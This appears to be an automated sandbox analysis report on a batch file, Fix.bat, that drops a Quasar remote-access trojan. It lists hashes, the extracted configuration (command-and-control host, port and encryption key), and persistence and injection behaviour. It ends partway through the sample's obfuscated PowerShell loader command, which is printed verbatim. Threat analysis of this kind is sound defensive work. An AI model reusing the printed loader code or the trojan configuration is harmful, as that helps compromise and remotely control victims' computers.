Analysis
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max time kernel
300s -
max time network
257s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
12-05-2024 19:02
Static task
static1
Behavioral task
behavioral1
Sample
Fix.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Fix.bat
Resource
win10v2004-20240508-en
General
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Target
Fix.bat
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Size
621B
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MD5
e235e723f57a72ef725306c3e14d4726
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SHA1
9b2153053f8e89c300e32da5df32e9b990594aac
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SHA256
aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67
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SHA512
0a4eda531be3904ae944d2c1c43755921cde4333a8e9d6bee6669e3de73b6c7859bb7ab3aa7a712fa2085d3fa1fb1d1ed14e5d6ed488a10bd2f6ab6ed049d25e
Malware Config
Extracted
quasar
3.1.5
RPad
even-lemon.gl.at.ply.gg:33587
$Sxr-okPqrmZ8kNVUcS4Rp0
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encryption_key
XmcBnPuLlN1e8SHIRR1z
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install_name
$sxr-powershell.exe
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log_directory
$SXR-LOGS
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reconnect_delay
3000
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startup_key
$sxr-powershell
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subdirectory
$sxr-seroxen2
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\BoostBot.exe family_quasar behavioral1/memory/4596-53-0x00000000007D0000-0x000000000083C000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEdescription pid process target process PID 4560 created 576 4560 powershell.EXE winlogon.exe PID 1920 created 576 1920 powershell.EXE winlogon.exe PID 2544 created 576 2544 powershell.EXE winlogon.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Downloads MZ/PE file
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 5 IoCs
Processes:
BoostBot.exe$sxr-powershell.exeinstall.exeinstall.exeinstall.exepid process 4596 BoostBot.exe 2316 $sxr-powershell.exe 696 install.exe 512 install.exe 3832 install.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 14 raw.githubusercontent.com 15 raw.githubusercontent.com 22 raw.githubusercontent.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 10 ip-api.com 18 ip-api.com -
Drops file in System32 directory 19 IoCs
Processes:
svchost.exepowershell.EXEOfficeClickToRun.exesvchost.exepowershell.EXEsvchost.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Tasks\$77svc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\System32\Tasks\$77$sxr-powershell.exe svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83 svchost.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEdescription pid process target process PID 4560 set thread context of 812 4560 powershell.EXE dllhost.exe PID 1920 set thread context of 588 1920 powershell.EXE dllhost.exe PID 2544 set thread context of 2920 2544 powershell.EXE dllhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exeSCHTASKS.exepid process 2132 schtasks.exe 2616 SCHTASKS.exe 4028 schtasks.exe 380 SCHTASKS.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEOfficeClickToRun.exepowershell.EXEpowershell.EXEsvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715540646" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 12 May 2024 19:04:07 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={E2BBCF38-C89A-4D17-8DDC-38EDD8C8C05C}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe -
Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.EXEpowershell.EXEdllhost.exe$sxr-powershell.exewmiprvse.exedllhost.exepid process 3308 powershell.exe 3308 powershell.exe 3308 powershell.exe 4560 powershell.EXE 4560 powershell.EXE 4560 powershell.EXE 1920 powershell.EXE 1920 powershell.EXE 1920 powershell.EXE 4560 powershell.EXE 812 dllhost.exe 812 dllhost.exe 812 dllhost.exe 812 dllhost.exe 812 dllhost.exe 812 dllhost.exe 812 dllhost.exe 812 dllhost.exe 2316 $sxr-powershell.exe 3500 wmiprvse.exe 1920 powershell.EXE 812 dllhost.exe 812 dllhost.exe 812 dllhost.exe 812 dllhost.exe 812 dllhost.exe 812 dllhost.exe 1920 powershell.EXE 588 dllhost.exe 588 dllhost.exe 812 dllhost.exe 812 dllhost.exe 588 dllhost.exe 588 dllhost.exe 2316 $sxr-powershell.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 2316 $sxr-powershell.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 2316 $sxr-powershell.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe 588 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exesvchost.exedescription pid process Token: SeDebugPrivilege 3308 powershell.exe Token: SeDebugPrivilege 4596 BoostBot.exe Token: SeDebugPrivilege 2316 $sxr-powershell.exe Token: SeDebugPrivilege 4560 powershell.EXE Token: SeDebugPrivilege 1920 powershell.EXE Token: SeDebugPrivilege 4560 powershell.EXE Token: SeDebugPrivilege 812 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 1524 svchost.exe Token: SeIncreaseQuotaPrivilege 1524 svchost.exe Token: SeSecurityPrivilege 1524 svchost.exe Token: SeTakeOwnershipPrivilege 1524 svchost.exe Token: SeLoadDriverPrivilege 1524 svchost.exe Token: SeSystemtimePrivilege 1524 svchost.exe Token: SeBackupPrivilege 1524 svchost.exe Token: SeRestorePrivilege 1524 svchost.exe Token: SeShutdownPrivilege 1524 svchost.exe Token: SeSystemEnvironmentPrivilege 1524 svchost.exe Token: SeUndockPrivilege 1524 svchost.exe Token: SeManageVolumePrivilege 1524 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1524 svchost.exe Token: SeIncreaseQuotaPrivilege 1524 svchost.exe Token: SeSecurityPrivilege 1524 svchost.exe Token: SeTakeOwnershipPrivilege 1524 svchost.exe Token: SeLoadDriverPrivilege 1524 svchost.exe Token: SeSystemtimePrivilege 1524 svchost.exe Token: SeBackupPrivilege 1524 svchost.exe Token: SeRestorePrivilege 1524 svchost.exe Token: SeShutdownPrivilege 1524 svchost.exe Token: SeSystemEnvironmentPrivilege 1524 svchost.exe Token: SeUndockPrivilege 1524 svchost.exe Token: SeManageVolumePrivilege 1524 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1524 svchost.exe Token: SeIncreaseQuotaPrivilege 1524 svchost.exe Token: SeSecurityPrivilege 1524 svchost.exe Token: SeTakeOwnershipPrivilege 1524 svchost.exe Token: SeLoadDriverPrivilege 1524 svchost.exe Token: SeSystemtimePrivilege 1524 svchost.exe Token: SeBackupPrivilege 1524 svchost.exe Token: SeRestorePrivilege 1524 svchost.exe Token: SeShutdownPrivilege 1524 svchost.exe Token: SeSystemEnvironmentPrivilege 1524 svchost.exe Token: SeUndockPrivilege 1524 svchost.exe Token: SeManageVolumePrivilege 1524 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1524 svchost.exe Token: SeIncreaseQuotaPrivilege 1524 svchost.exe Token: SeSecurityPrivilege 1524 svchost.exe Token: SeTakeOwnershipPrivilege 1524 svchost.exe Token: SeLoadDriverPrivilege 1524 svchost.exe Token: SeSystemtimePrivilege 1524 svchost.exe Token: SeBackupPrivilege 1524 svchost.exe Token: SeRestorePrivilege 1524 svchost.exe Token: SeShutdownPrivilege 1524 svchost.exe Token: SeSystemEnvironmentPrivilege 1524 svchost.exe Token: SeUndockPrivilege 1524 svchost.exe Token: SeManageVolumePrivilege 1524 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1524 svchost.exe Token: SeIncreaseQuotaPrivilege 1524 svchost.exe Token: SeSecurityPrivilege 1524 svchost.exe Token: SeTakeOwnershipPrivilege 1524 svchost.exe Token: SeLoadDriverPrivilege 1524 svchost.exe Token: SeSystemtimePrivilege 1524 svchost.exe Token: SeBackupPrivilege 1524 svchost.exe Token: SeRestorePrivilege 1524 svchost.exe Token: SeShutdownPrivilege 1524 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 2316 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exedescription pid process target process PID 164 wrote to memory of 1352 164 cmd.exe certutil.exe PID 164 wrote to memory of 1352 164 cmd.exe certutil.exe PID 164 wrote to memory of 3308 164 cmd.exe powershell.exe PID 164 wrote to memory of 3308 164 cmd.exe powershell.exe PID 3308 wrote to memory of 4596 3308 powershell.exe BoostBot.exe PID 3308 wrote to memory of 4596 3308 powershell.exe BoostBot.exe PID 3308 wrote to memory of 4596 3308 powershell.exe BoostBot.exe PID 164 wrote to memory of 5060 164 cmd.exe icacls.exe PID 164 wrote to memory of 5060 164 cmd.exe icacls.exe PID 164 wrote to memory of 1708 164 cmd.exe reg.exe PID 164 wrote to memory of 1708 164 cmd.exe reg.exe PID 164 wrote to memory of 5040 164 cmd.exe attrib.exe PID 164 wrote to memory of 5040 164 cmd.exe attrib.exe PID 4596 wrote to memory of 2132 4596 BoostBot.exe schtasks.exe PID 4596 wrote to memory of 2132 4596 BoostBot.exe schtasks.exe PID 4596 wrote to memory of 2132 4596 BoostBot.exe schtasks.exe PID 4596 wrote to memory of 2316 4596 BoostBot.exe $sxr-powershell.exe PID 4596 wrote to memory of 2316 4596 BoostBot.exe $sxr-powershell.exe PID 4596 wrote to memory of 2316 4596 BoostBot.exe $sxr-powershell.exe PID 4596 wrote to memory of 696 4596 BoostBot.exe install.exe PID 4596 wrote to memory of 696 4596 BoostBot.exe install.exe PID 4596 wrote to memory of 696 4596 BoostBot.exe install.exe PID 4596 wrote to memory of 2616 4596 BoostBot.exe SCHTASKS.exe PID 4596 wrote to memory of 2616 4596 BoostBot.exe SCHTASKS.exe PID 4596 wrote to memory of 2616 4596 BoostBot.exe SCHTASKS.exe PID 2316 wrote to memory of 4028 2316 $sxr-powershell.exe schtasks.exe PID 2316 wrote to memory of 4028 2316 $sxr-powershell.exe schtasks.exe PID 2316 wrote to memory of 4028 2316 $sxr-powershell.exe schtasks.exe PID 2316 wrote to memory of 512 2316 $sxr-powershell.exe install.exe PID 2316 wrote to memory of 512 2316 $sxr-powershell.exe install.exe PID 2316 wrote to memory of 512 2316 $sxr-powershell.exe install.exe PID 4560 wrote to memory of 812 4560 powershell.EXE dllhost.exe PID 4560 wrote to memory of 812 4560 powershell.EXE dllhost.exe PID 4560 wrote to memory of 812 4560 powershell.EXE dllhost.exe PID 4560 wrote to memory of 812 4560 powershell.EXE dllhost.exe PID 4560 wrote to memory of 812 4560 powershell.EXE dllhost.exe PID 4560 wrote to memory of 812 4560 powershell.EXE dllhost.exe PID 4560 wrote to memory of 812 4560 powershell.EXE dllhost.exe PID 4560 wrote to memory of 812 4560 powershell.EXE dllhost.exe PID 812 wrote to memory of 576 812 dllhost.exe winlogon.exe PID 812 wrote to memory of 632 812 dllhost.exe lsass.exe PID 812 wrote to memory of 720 812 dllhost.exe svchost.exe PID 812 wrote to memory of 892 812 dllhost.exe svchost.exe PID 812 wrote to memory of 992 812 dllhost.exe dwm.exe PID 812 wrote to memory of 408 812 dllhost.exe svchost.exe PID 812 wrote to memory of 484 812 dllhost.exe svchost.exe PID 812 wrote to memory of 820 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1088 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1096 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1168 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1188 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1204 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1212 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1364 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1464 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1472 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1532 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1564 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1600 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1684 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1696 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1836 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1856 812 dllhost.exe svchost.exe PID 812 wrote to memory of 1956 812 dllhost.exe svchost.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:576
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:992
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{849c7255-8bb0-481e-bea7-15f0dd928c6e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a1b78cc6-95ea-473e-852e-6751ad67f9b3}2⤵
- Suspicious behavior: EnumeratesProcesses
PID:588 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8a810e90-fe2b-4920-907b-2697c86f0ff2}2⤵PID:2920
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:632
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵PID:720
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵PID:892
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:408
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵PID:484
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵PID:820
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:1088 -
c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3208
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wTwnalTIDPyU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XwnnXRZQbwPceX,[Parameter(Position=1)][Type]$CReMXmLdDN)$DrDxghhqJdm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+'l'+''+'e'+''+'c'+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+'e'+''+'l'+'e'+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+'d'+''+[Char](117)+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+'le'+'g'+''+[Char](97)+'t'+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+''+'e'+'','C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+','+'Pub'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+'e'+[Char](100)+','+'A'+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$DrDxghhqJdm.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+'N'+'am'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+'B'+[Char](121)+'S'+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$XwnnXRZQbwPceX).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+'e'+''+[Char](100)+'');$DrDxghhqJdm.DefineMethod('I'+[Char](110)+'v'+[Char](111)+'ke',''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+'By'+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+'e'+'w'+'S'+''+[Char](108)+''+[Char](111)+'t'+','+''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'al',$CReMXmLdDN,$XwnnXRZQbwPceX).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $DrDxghhqJdm.CreateType();}$YrAyPSADsOsST=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 